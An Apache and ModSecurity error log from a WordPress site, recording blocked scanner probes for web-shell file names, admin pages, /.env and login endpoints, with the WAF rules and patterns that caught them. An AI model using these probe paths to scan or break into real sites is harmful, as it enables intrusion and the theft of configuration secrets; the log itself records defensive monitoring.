[Sun Jan 11 23:46:45.353527 2026] [:error] [pid 40191:tid 40193] [client 4.197.153.127:27689] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/debug.php"] [unique_id "aWPF5Um2BH1CV1p0EUHtdQAAAsA"]
[Sun Jan 11 23:46:46.887301 2026] [:error] [pid 40191:tid 40209] [client 4.197.153.127:36147] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/debug.php"] [unique_id "aWPF5km2BH1CV1p0EUHtdgAAAtA"]
[Sun Jan 11 23:46:52.118335 2026] [:error] [pid 5155:tid 5219] [client 4.197.153.127:40187] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aWPF7FgEKFpNs0_zLGk6-wAAAIM"]
[Sun Jan 11 23:46:57.211696 2026] [:error] [pid 35977:tid 36000] [client 4.197.153.127:25670] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aWPF8bDST5RMqStLeP2WmQAAAhQ"]
[Sun Jan 11 23:46:59.372513 2026] [:error] [pid 35730:tid 35737] [client 4.197.153.127:22524] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aWPF8zi7U_mfHtESQHl_WAAAAcU"]
[Sun Jan 11 23:47:03.403753 2026] [:error] [pid 5152:tid 5170] [client 4.197.153.127:27692] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aWPF9xm0axGMFrpuXHC1TgAAAAg"]
[Sun Jan 11 23:47:06.501403 2026] [:error] [pid 11747:tid 11766] [client 4.197.153.127:6161] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aWPF-qRFw84LNpZSk7n5GgAAAU8"]
[Sun Jan 11 23:47:07.466517 2026] [:error] [pid 5152:tid 5166] [client 4.197.153.127:30230] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aWPF-xm0axGMFrpuXHC1VAAAAAQ"]
[Sun Jan 11 23:47:07.870608 2026] [:error] [pid 35730:tid 35753] [client 4.197.153.127:23553] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aWPF-zi7U_mfHtESQHl_WwAAAdU"]
[Sun Jan 11 23:47:23.214017 2026] [proxy_fcgi:error] [pid 35730:tid 35743] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:23.233837 2026] [proxy_fcgi:error] [pid 35730:tid 35733] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:23.256537 2026] [proxy_fcgi:error] [pid 35730:tid 35749] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:23.671168 2026] [proxy_fcgi:error] [pid 35730:tid 35746] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:23.709880 2026] [proxy_fcgi:error] [pid 35730:tid 35756] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:23.738891 2026] [proxy_fcgi:error] [pid 35730:tid 35751] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:23.758181 2026] [proxy_fcgi:error] [pid 35730:tid 35752] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:24.130172 2026] [proxy_fcgi:error] [pid 35730:tid 35748] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:24.148573 2026] [proxy_fcgi:error] [pid 35730:tid 35742] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:24.168808 2026] [proxy_fcgi:error] [pid 35730:tid 35738] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:24.192099 2026] [proxy_fcgi:error] [pid 35730:tid 35745] [client 4.197.153.127:6595] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:47:24.217650 2026] [:error] [pid 35730:tid 35735] [client 4.197.153.127:6595] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "aWPGDDi7U_mfHtESQHl_aQAAAcM"]
[Sun Jan 11 23:47:26.434795 2026] [:error] [pid 11748:tid 11792] [client 4.197.153.127:6592] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "aWPGDgC5xybrWOCNnoYbCwAAAY4"]
[Sun Jan 11 23:47:31.043293 2026] [:error] [pid 35977:tid 35983] [client 4.197.153.127:16811] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "aWPGE7DST5RMqStLeP2WqQAAAgM"]
[Sun Jan 11 23:47:40.737429 2026] [:error] [pid 11747:tid 11774] [client 4.197.153.127:26700] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c.php"] [unique_id "aWPGHKRFw84LNpZSk7n5IQAAAVc"]
[Sun Jan 11 23:47:44.440357 2026] [:error] [pid 5153:tid 5207] [client 4.197.153.127:26718] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c.php"] [unique_id "aWPGIM1QbNSPD9bRi77hJwAAAFI"]
[Sun Jan 11 23:47:46.327814 2026] [:error] [pid 40191:tid 40194] [client 4.197.153.127:26121] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c.php"] [unique_id "aWPGIkm2BH1CV1p0EUHthwAAAsE"]
[Sun Jan 11 23:47:54.699858 2026] [:error] [pid 5152:tid 5185] [client 4.197.153.127:34145] [client 4.197.153.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c.php"] [unique_id "aWPGKhm0axGMFrpuXHC1bgAAABc"]
[Sun Jan 11 23:49:35.207134 2026] [proxy_fcgi:error] [pid 5155:tid 5231] [client 4.197.153.127:36515] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:49:35.226322 2026] [proxy_fcgi:error] [pid 5155:tid 5219] [client 4.197.153.127:36515] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 23:49:35.243962 2026] [:error] [pid 5155:tid 5232] [client 4.197.153.127:36515] [client 4.197.153.127] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".phpquebecoils.com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/info.phpquebecoils.com"] [unique_id "aWPGj1gEKFpNs0_zLGk7RQAAAJA"]
[Mon Jan 12 00:28:28.296210 2026] [:error] [pid 5152:tid 5172] [client 45.139.104.171:55138] [client 45.139.104.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aWPPrBm0axGMFrpuXHC9QAAAAAo"]
[Mon Jan 12 17:19:34.101667 2026] [:error] [pid 51896:tid 51909] [client 164.92.190.51:53190] [client 164.92.190.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.190.51, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWS8pt2Y52W2afNXn_V-DwAAAko"]
[Mon Jan 12 17:19:34.113515 2026] [proxy_fcgi:error] [pid 51896:tid 51909] [client 164.92.190.51:53190] AH01071: Got error 'Primary script unknown'
[Mon Jan 12 20:06:52.339801 2026] [:error] [pid 48105:tid 48142] [client 167.172.235.216:51777] [client 167.172.235.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aWTj3Dbe4SdLfSmtJe2LsgAAAEI"], referer: binance.com
[Tue Jan 13 16:26:18.148059 2026] [:error] [pid 49677:tid 49687] [client 104.28.235.60:45607] [client 104.28.235.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aWYBqviKiDrYd_02VZoBXAAAAEY"]
[Tue Jan 13 20:36:47.660311 2026] [:error] [pid 49677:tid 49697] [client 150.228.137.69:54109] [client 150.228.137.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.228.137.69, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aWY8X_iKiDrYd_02VZooywAAAFA"]
[Tue Jan 13 20:36:47.671967 2026] [proxy_fcgi:error] [pid 49677:tid 49697] [client 150.228.137.69:54109] AH01071: Got error 'Primary script unknown'
[Wed Jan 14 01:12:06.248954 2026] [:error] [pid 63931:tid 63934] [client 140.245.117.185:55313] [client 140.245.117.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aWZ85tVnG0cQj3cwmW9DTAAAAAE"]
[Wed Jan 14 01:12:06.640440 2026] [:error] [pid 63843:tid 63894] [client 140.245.117.185:64562] [client 140.245.117.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.245.117.185, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWZ85oqxEwB7D1-DxXfcTgAAAJQ"]
[Wed Jan 14 01:12:06.667658 2026] [proxy_fcgi:error] [pid 63843:tid 63894] [client 140.245.117.185:64562] AH01071: Got error 'Primary script unknown'
[Wed Jan 14 01:12:07.459189 2026] [:error] [pid 25809:tid 25815] [client 140.245.117.185:49281] [client 140.245.117.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/administrator/"] [unique_id "aWZ8549SDqNJ9R9VfZD7IgAAAEQ"]
[Wed Jan 14 01:12:07.926729 2026] [:error] [pid 25809:tid 25818] [client 140.245.117.185:54427] [client 140.245.117.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/user/login"] [unique_id "aWZ8549SDqNJ9R9VfZD7UgAAAEc"]
[Wed Jan 14 01:12:08.358282 2026] [:error] [pid 43385:tid 43404] [client 140.245.117.185:62033] [client 140.245.117.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin"] [unique_id "aWZ86MFJIMneckmN0mrn3gAAAQk"]
[Wed Jan 14 01:51:49.718035 2026] [proxy_fcgi:error] [pid 63843:tid 63883] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Jan 14 01:51:49.839506 2026] [proxy_fcgi:error] [pid 63843:tid 63898] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Jan 14 01:51:49.960676 2026] [proxy_fcgi:error] [pid 63843:tid 63877] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Jan 14 01:51:50.081851 2026] [proxy_fcgi:error] [pid 63843:tid 63891] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Jan 14 01:51:50.202343 2026] [proxy_fcgi:error] [pid 63843:tid 63894] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Jan 14 01:51:50.323732 2026] [proxy_fcgi:error] [pid 63843:tid 63895] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Jan 14 01:51:50.447509 2026] [proxy_fcgi:error] [pid 63843:tid 63888] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Jan 14 01:51:50.568623 2026] [proxy_fcgi:error] [pid 63843:tid 63878] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Jan 14 01:51:50.689117 2026] [proxy_fcgi:error] [pid 63843:tid 63875] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Jan 14 01:51:50.809558 2026] [proxy_fcgi:error] [pid 63843:tid 63881] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Jan 14 01:51:50.930707 2026] [proxy_fcgi:error] [pid 63843:tid 63876] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Jan 14 01:51:51.050714 2026] [proxy_fcgi:error] [pid 63843:tid 63874] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Jan 14 01:51:51.173278 2026] [proxy_fcgi:error] [pid 63843:tid 63896] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Jan 14 01:51:51.294839 2026] [proxy_fcgi:error] [pid 63843:tid 63880] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Jan 14 01:51:51.416456 2026] [proxy_fcgi:error] [pid 63843:tid 63897] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Jan 14 01:51:51.538597 2026] [proxy_fcgi:error] [pid 63843:tid 63893] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Jan 14 01:51:51.661057 2026] [proxy_fcgi:error] [pid 63843:tid 63890] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Jan 14 01:51:51.782882 2026] [proxy_fcgi:error] [pid 63843:tid 63883] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Jan 14 01:51:51.902232 2026] [proxy_fcgi:error] [pid 63843:tid 63898] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Jan 14 01:51:52.143781 2026] [proxy_fcgi:error] [pid 63843:tid 63879] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Jan 14 01:51:52.264726 2026] [proxy_fcgi:error] [pid 63843:tid 63891] [client 104.208.97.94:14323] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Jan 14 01:51:54.316831 2026] [:error] [pid 63843:tid 63893] [client 104.208.97.94:14323] [client 104.208.97.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWaGOoqxEwB7D1-DxXfolgAAAJM"], referer: https://duckduckgo.com/
[Wed Jan 14 01:51:54.676096 2026] [:error] [pid 25809:tid 25834] [client 104.208.97.94:14209] [client 104.208.97.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/buttons/index.php"] [unique_id "aWaGOo9SDqNJ9R9VfZAGgwAAAFc"], referer: https://www.google.com/
[Wed Jan 14 05:06:43.685384 2026] [proxy_fcgi:error] [pid 59074:tid 59100] [client 4.230.47.124:7931] AH01071: Got error 'Primary script unknown'
[Wed Jan 14 05:06:44.262358 2026] [proxy_fcgi:error] [pid 59074:tid 59088] [client 4.230.47.124:7931] AH01071: Got error 'Primary script unknown'
[Wed Jan 14 05:06:44.399545 2026] [:error] [pid 59074:tid 59084] [client 4.230.47.124:7931] [client 4.230.47.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.230.47.124, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/en/wp-login.php"] [unique_id "aWaz5E_KrJ818pzhB3xkKAAAAkg"]
[Wed Jan 14 05:06:44.952719 2026] [:error] [pid 59074:tid 59079] [client 4.230.47.124:7931] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hvoxejcn.php"] [unique_id "aWaz5E_KrJ818pzhB3xkLAAAAkM"]
[Wed Jan 14 05:06:45.224896 2026] [:error] [pid 24603:tid 24683] [client 4.230.47.124:7928] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hvoxejcn.php"] [unique_id "aWaz5ZPBJGFGN8VT8_ShbwAAAJI"]
[Wed Jan 14 05:06:45.494080 2026] [:error] [pid 24603:tid 24682] [client 4.230.47.124:7812] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hvoxejcn.php"] [unique_id "aWaz5ZPBJGFGN8VT8_ShcQAAAJE"]
[Wed Jan 14 05:06:45.765483 2026] [:error] [pid 24603:tid 24686] [client 4.230.47.124:7829] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hvoxejcn.php"] [unique_id "aWaz5ZPBJGFGN8VT8_ShcgAAAJU"]
[Wed Jan 14 05:06:46.035445 2026] [:error] [pid 58901:tid 58944] [client 4.230.47.124:7908] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rasp.php"] [unique_id "aWaz5r3kQSrcqIWtO0okKgAAAc4"]
[Wed Jan 14 05:06:46.304504 2026] [:error] [pid 58899:tid 58910] [client 4.230.47.124:7880] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rasp.php"] [unique_id "aWaz5gWViGQd5R44tHFyOAAAAYc"]
[Wed Jan 14 05:06:46.575028 2026] [:error] [pid 24602:tid 24638] [client 4.230.47.124:7909] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rasp.php"] [unique_id "aWaz5kooYwabcb9R9fw3IQAAAEA"]
[Wed Jan 14 05:06:46.847097 2026] [:error] [pid 59074:tid 59094] [client 4.230.47.124:7917] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rasp.php"] [unique_id "aWaz5k_KrJ818pzhB3xkLQAAAlI"]
[Wed Jan 14 05:06:47.135439 2026] [:error] [pid 59074:tid 59081] [client 4.230.47.124:7919] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk-park.php"] [unique_id "aWaz50_KrJ818pzhB3xkLgAAAkU"]
[Wed Jan 14 05:06:47.403792 2026] [:error] [pid 58699:tid 58724] [client 4.230.47.124:7879] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk-park.php"] [unique_id "aWaz5-YdPBtkMLK2SdqoawAAARY"]
[Wed Jan 14 05:06:47.684619 2026] [:error] [pid 59074:tid 59080] [client 4.230.47.124:7839] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk-park.php"] [unique_id "aWaz50_KrJ818pzhB3xkLwAAAkQ"]
[Wed Jan 14 05:06:48.001809 2026] [:error] [pid 58901:tid 58932] [client 4.230.47.124:7885] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk-park.php"] [unique_id "aWaz6L3kQSrcqIWtO0okKwAAAcI"]
[Wed Jan 14 05:06:48.297520 2026] [:error] [pid 58901:tid 58941] [client 4.230.47.124:7824] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/functions.php"] [unique_id "aWaz6L3kQSrcqIWtO0okLAAAAcs"]
